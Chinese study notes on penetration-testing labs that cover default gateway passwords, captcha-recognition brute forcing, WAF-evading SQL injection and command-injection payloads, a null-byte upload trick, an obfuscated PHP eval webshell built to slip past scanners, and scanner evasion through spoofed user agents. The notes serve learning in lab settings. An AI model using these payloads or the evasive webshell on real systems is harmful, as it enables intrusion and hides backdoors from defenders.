第十二周 waf绕过和前端加密绕过
一.CTF
CTF(Capture The Flag,夺旗赛)是一种在网络安全领域中非常流行的技术竞技比赛形式。它起源于1996年的DEFCON全球黑客大会,旨在替代之前黑客们通过互相发起真实攻击进行技术比拼的方式。
CTF比赛主要有三种竞赛模式:
-
解题模式(Jeopardy):参赛队伍通过解决网络安全技术挑战题目来得分,类似于ACM编程竞赛。题目主要包括逆向工程、漏洞挖掘与利用、Web渗透、密码学、取证、隐写、安全编程等。
-
攻防模式(Attack-Defense):参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,同时修补自身服务漏洞进行防御来避免丢分。
-
混合模式(Mix):结合了解题模式与攻防模式的CTF赛制,参赛队伍通过解题获取初始分数,然后通过攻防对抗进行得分增减。
好了,我来推荐一个网站,可以用来练习习题:CTFHub
从这个网站我们可以看到什么时候有赛事,且有练习题
实验:
然后发现其特征,发现是eYou,我们可以找它的默认网关。
admin:+-ccccc
eyougw:admin@(eyou)
eyouuser:eyou_admin
然后就成功了。
所以当我们发现一个登录界面的时候,不用直接就开始爆破,可以根据特征,来找它的默认口令,用默认口令来试一下。
二验证码绕过
1.实验:
phpstduy搭建yxcms,使用nginx,php版本选择5.x即可
读取验证码的工具
2.captcha-killer-modified
介绍
captcha-killer-modified 是一款用 Java 编写的 Burp 插件,其设计理念专注于各种验证码识别技术接口的调用。具体而言,Burp 通过这一个插件,即可适配多种验证码识别接口,无需重复编写调用代码。就是识别验证码的,不过要注意,这个插件识别验证码并不是100%的,偶尔人会出错。如果不喜欢这个插件可以直接找商业的:GitHub - hlmsbrnd/yanzhengma: 2025年最好用的验证码识别平台【整理汇总】
下载地址:Releases · f0ng/captcha-killer-modified
首先打开已经下载好的所在处,打开cmd输入
pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
python codereg.py
然后再打开burp,找到扩展,把下好的插件装好.
登录网页
先随机登录,等到服务器端把验证码图片重新发过来,我们利用burp抓捕,然后传到扩展里,点击send to captcha panel
3.爆破攻击
发送到重放器里面
发送到Intruder
攻击类型选择 Pitchfork,由于验证码和请求绑定,因此不能使用多线程,只能单线程爆破。
不过有可能因为验证码错误而导致登录失败。
1.我们可以根据长度来重新发
2.用商业的来整
只不过换一下接口
3.进入后台并getshell
三waf绕过
1.什么是waf
WAF全称叫Web Application Firewall,和传统防火墙的区别是,它是工作在应用层的防火墙,主要对web请求/响应进行防护。
二、什么是 “WAF 绕过”?
“WAF 绕过” 就是 “坏人”(攻击者)想办法骗过门口的保安(WAF),让带有恶意的请求成功进入网站,从而达到攻击目的。
三、常见的 “骗保安”(WAF 绕过)方法
-
伪装术(编码混淆)把恶意代码 “化妆”,改变它的外在形式但不改变功能。比如把攻击代码里的
<script>
写成 HTML 编码格式,或者把字母换成数字表示(比如 “A” 变成 “%41”),让保安认不出这是恶意内容。 -
走侧门(非常规入口,例如狗洞之类的)不通过网站常用的 “正门”(比如默认的 80 端口、443 端口),转而尝试 “侧门” 或 “后门”(比如 8080 端口、8888 端口);也不使用常规的请求方法(GET/POST),改用 PUT/DELETE 等不常用的方法,绕开保安重点检查的入口。
-
分散注意力(请求分割)把一句完整的恶意代码拆成好几部分,分多次发送给网站。就像把 “我要攻击” 拆成 “我”+“要”+“攻”+“击” 分别发送,让保安看到单部分内容时,误以为是正常信息,从而通过检查。
-
找保安盲区(规则探测)先发送一些简单的测试请求,观察保安(WAF)会拦截哪些内容、放过哪些内容。通过多次测试和调整,逐渐找到保安 “不管” 的内容或规则漏洞,再用符合漏洞的方式发送恶意请求。
四.安全狗为例子
这里我们先下载waf为例子,我用的是安全狗:网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改
我们下载的是apacha版本的,所以下好后,先得配置phpstudy。
默认情况下,phpstudy 没有将 Apache 以服务形式安装,而安全狗需要 Apache 以服务形式启动才能顺利安装,因此需要手动操作来安装 Apache 服务。(安装过程当中必须得检测到,但是这玩意并不需要apache服务)
- 关闭 apache 程序及 httpd.exe
- 进程进入 D:\phpstudy_pro\Extensions\Apache2.4.39\bin 目录
执行
httpd.exe -k install -n apache2.4.39
整好后启动服务
然后开始下载安全狗
安装完后记得禁用或者直接删除,不然会影响php的使用
五.安全狗的表现
启动dvwa来作为靶场
在sql注入输入1‘ and 1=1 --- a会出现。
六.WAF绕过sql注入
已经看到它的能力,接下来整如何绕过它.
1。/*! */ 被称之为内联注释
在 MySQL 中,/*! */ 被称之为内联注释,里面的内容是会被 MySQL 解析的。解析情况分为以下两种:
1.1带版本号的内联注释:
注释内以 “版本号” 开头,后跟 SQL 语句,这里的 “50001” 代表 MySQL 5.0.1 版本,只有当当前 MySQL 版本大于或等于输入的版本号( 5.0.1) 时,注释内的 DISTINCT
关键字才会被解析执行;
SELECT /*!50001 DISTINCT */ username FROM users;
1.2不带版本号的内联注释
注释内仅包含 SQL 语句,其他数据库是会被忽视的。这种情况下,无论 MySQL 版本如何,注释内的 username
都会被当作正常 SQL 部分解析执行,效果等同于 SELECT username FROM users;
。
SELECT /*! username */ FROM users
2、绕过联合注入
输入
11' order by 1 -- a
把order by 换为 group by 利⽤group by直接绕过
1' group by 2-- a
1' union select 1,2--+ 报错
而先来了解一下 regexp(正则函数),分别在数据库中执行下列语句。
SELECT * FROM users WHERE user REGEXP 'a';
select * from users where user like "%a%";
1' regexp "%0A%23" union select+*/1,2-- a 会被拦截
在使用内联注释
1' regexp "%0A%23" /*!11144union %0A select */1,2-- a

获取数据库,还是被拦截的话
1' regexp "%0A%23" /*!11144union %0A select */database(),2-- a
继续使用内联注释
1' regexp "%0A%23"/*!11144union %0A select*/ 1,database(%0A /*!11144*/)-- a
七.WAF绕过XSS攻击
输入,发现失效
<script>alert(1)</script>
1.利用00截断绕过
其他的几乎都在最新版本失效。利用burp进行抓包,发现并不是代码的问题,哪怕是空的都不行。
虽然换成jpg可以,但是不解析代码而无用,这时候就可以用00截断了。将文件名称改为one.php;%00.jpg(不是很准确,可以删掉;)。不过记得把%00转换为urldecole
八.WAF绕过命令执行
system() #输出并返回最后⼀⾏shell结果
exec() #不输出结果,返回最后⼀⾏shell结果,所有结果保存到⼀个返回数组⾥
passthru() #只调⽤命令,把命令的运⾏结果原样输出到标准输出设备上
popen()、proc_open() #不会直接返回执⾏结果,⽽是返回⼀个⽂件指针
shell_exec() #通过shell执⾏命令并以字符串的形式返回完整的输出
反引号 #本质是使⽤shell_exec()函数
1.命令分隔符
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b
$(echo "Y2F0IHRlc3QudHh0"|base64 -d)
cat te''st.txt
cat te""st.txt
c''at te''st.txt
c""at te""st.txt
5.反斜杠绕过
cat te\st.txt
c\at te\st.txt
6.通配符绕过
cat /etc/pass*
w"h"o"a"m"i
"w"h"o"a"m"i"
"w"h"o"a"m"i
w"h"o"a"m"i"
who^ami
wh""o^a^mi
wh""o^a^mi
((((Wh^o^am""i))))
(Wh^o^am""i)
(Whoami)set a=who
set b=ami
%a%%b% //正常执⾏whoami
call %a%%b% //正常执⾏whoami
九.WAF绕过脚本免杀
这个我们使用D盾:D盾防火墙
扫描一个木马,可以看出D盾扫出来了。
然后尝试对脚本进行免杀处理
<?php$name = $_POST[1];$name = substr($name,0);eval("echo 123;" . $name."echo 456; " );>
就从后门文件将为可以文件,级别也变低了。在实战中可能会躲避检测。
再次对文件进行混淆模式,就是把代码混成我们自个都完全看不出来的样子,让WAF无法识别出木马的特征,从而绕过脚本免杀。在线php混淆:在线PHP代码混淆加密工具 - UU在线工具。
如果发现D盾还是可以发现木马,那就在找个网站来混淆试试。:PHP混淆工具 - 终极版。这是我自己找到的.如果有问题概不负责。
再尝试一下
没有出现2.php证明混淆成功.利用蚁剑连接,证明2.php没有因为混淆从而失效。
十.WAF绕过漏洞扫描
通常在实战中,当我们需要进行漏洞扫描的时候,常常被 WAF 产品拦截,导致扫描结果不可用,出现很大的误报,这时候需要采取 WAF 绕过扫描。
触发 WAF 的原因:
- 漏扫线程过大被封禁。解决方法:延时,低线程,使用代理池,白名单扫描
- 工具指纹被 WAF 识别被封禁。解决方法:指纹特征修改,模拟用户漏扫
- 漏洞单点 payload 特征被 WAF 识别封禁。解决方法:数据变异绕过,多种工具集合扫描尝试。

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTM
L, like Gecko) Version/10.1.2 Safari/603.3.8
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.5 (KHTM
L, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.4.7 (KHTM
L, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTM
L, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.108 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTM
L, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML,
like Gecko) Chrome/18.0.1025.45 Safari/535.19
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/2008
1201 Firefox/3.1b2
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTM
L, like Gecko) Chrome/5.0.375.86 Safari/533.4
Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
3、修改漏扫特征指纹
4、降低线程,扫描敏感度,使用流量代理转发
5、使用冷门工具代替常见漏扫工具。